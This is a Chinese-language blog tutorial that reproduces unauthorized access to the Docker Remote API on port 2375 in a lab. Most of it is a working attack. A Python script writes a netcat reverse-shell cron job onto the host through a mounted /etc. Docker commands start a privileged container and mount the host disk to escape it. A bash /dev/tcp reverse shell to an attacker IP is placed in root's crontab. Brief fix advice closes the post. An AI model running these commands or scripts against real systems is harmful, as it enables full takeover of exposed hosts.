您现在的位置是:首页 >技术交流 >DockerAPI未授权访问网站首页技术交流

DockerAPI未授权访问

d1k3siy 2025-04-26 12:01:03
简介DockerAPI未授权访问

Docker API 未授权访问

漏洞描述

Docker 是一个开源的应用 容器 引擎,让开发者可以打包他们的应用以及依赖包到一个可移植的容器中,然后发布到任何流行的 LINUX 机器上,也可以实现虚拟化。

Docker swarm 是一个将 docker 集群变成单一虚拟的 docker host 工具,使用标准的 Docker API,能够方便 docker 集群的管理和扩展,由 docker 官方提供。

在使用 docker swarm 的时候,管理的 docker 节点上会开放一个 TCP 端口 2375,绑定在 0.0.0.0 上,http 访问会返回 404 page not found

其实这是 Docker Remote API,可以执行 docker 命令,比如访问 http://host: 2375/containers/json 会返回 服务器 当前运行的 container 列表,和在 docker CLI 上执行 docker ps 的效果一样,其他操作比如创建/删除 container,拉取 image 等操作也都可以通过 API 调用完成

影响版本

  • Docker API Version==1.3
  • Docker API Version==1.6
http://{ip}:2375/version

[! important]
这个页面能正常访问就说明有漏洞

环境配置

  • VulHub 项目
  • Docker-compose 启动
docker-compose build
docker-compose up -d

漏洞复现

直接输入地址 http://your-ip: 2375/version ;若能访问,证明存在未授权访问漏洞。

image.png

计划任务反弹 shell

在 kali 上安装 docker 环境,安装不成功的话,请修改更新源即可

apt-get install docker docker-compose
service docker start

接下来攻击 python 脚本内容 docker-hack.py

import docker
client = docker.DockerClient(base_url='http://{rhost}:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc {lhost} 1111 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})

#意思是:使用Docker随意启动一个容器,并将宿主机的 /etc 目录挂载到容器中,便可以任意读写文件了。可以将命令写入 crontab 配置文件,进行反弹shell。

然后在 kali 上执行 python 脚本反弹 Shell 给 Kali 主机的 1111 端口。

python3 docker-hack.py

image.png

执行完脚本,耐心等待一会才会反弹 shell 到 kali 主机,大约一分多钟时间。

[! important]
此 python 脚本针对 centos 系统可以反弹 shell,ubuntu 系统不反弹

Docker 逃逸 getshell 方法

因为 docker 有远程连接命令,由于 2375 端口暴露,可未授权访问,所以现在可以在 kali 上通过远程方式连接 docker

docker -H tcp://192.168.241.142:2375 ps
docker -H tcp://192.168.241.142:2375 images

image.png 连接进去之后,发现没有镜像文件,那么去官方下载一个镜像文件 alpine

docker -H tcp://192.168.241.142:2375 pull alpine

很快就会下载好

image.png 接下来启动容器,并进入 alpine 容器

docker -H tcp://192.168.241.142:2375 images
docker -H tcp://192.168.241.142:2375 run -it --privileged alpine  /bin/sh

#在kali中启动一个有交互的shell,并且是特权镜像
#当操作者执行docker run —privileged时,Docker将允许容器访问宿主机上的所有设备,同时修改AppArmor或SELinux的配置,使容器拥有与那些直接运行在宿主机上的进程几乎相同的访问权限。

image.png 进入容器后,使用 fdisk -l 命令查看磁盘文件

[! tip]
在特权模式下,逃逸的方式很多,比如:直接在容器内部挂载宿主机磁盘,然后切换根目录。

image.png 从返回的 type 信息中可以判断出,/dev/sda5 是主分区,那么接下里直接在容器内部挂载宿主机磁盘

新建一个目录:mkdir /wxiaoge
挂在磁盘到新建目录:mount /dev/sda5 /wxiaoge
进入目录:cd wxiaoge/
新建文件:touch wxiaoge.txt

image.png 接下里看一下靶机 Ubuntu 中确实创建了 wxiaoge.txt 文件,docker 逃逸成功

image.png 接下来可以反弹主机 shell
创建 wxiaoge.sh 文件

vi wxiaoge.sh

image.png 写入反弹 shell

image.png

#!/bin/bash
#PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
bash -c "bash -i  >&/dev/tcp/192.168.241.128/6666 0>&1"

之后给 wxiaoge.sh 添加执行权限,并且写入到定时任务中

image.png

chmod +x wxiaoge.sh 
echo '*/1 * * * *  /wxiaoge.sh' >> /wxiaoge/var/spool/cron/crontabs/root #每分钟执行一次wxiaoge.sh 文件

kali 打开监听端口

image.png

一分钟后成功返回 shell

image.png

Docker API 未授权访问漏洞检测与 getshell 工具介绍

image.png

  • 运行环境:python2

github 地址

漏洞原理

[! important]
该漏洞本质产生原因如下:

  • 官方提供 Docker API 方式操作 docker
  • 开放了 2375 端口,并且最关键的是没有作相应的鉴权措施

Docker API 使用介绍

Docker API 的使用

修复建议

  • 关闭 2375 端口 (尤其是公网情况下一定要禁用此端口)
  • 在防火墙上配置禁止外网访问 2375 端口
风语者!平时喜欢研究各种技术,目前在从事后端开发工作,热爱生活、热爱工作。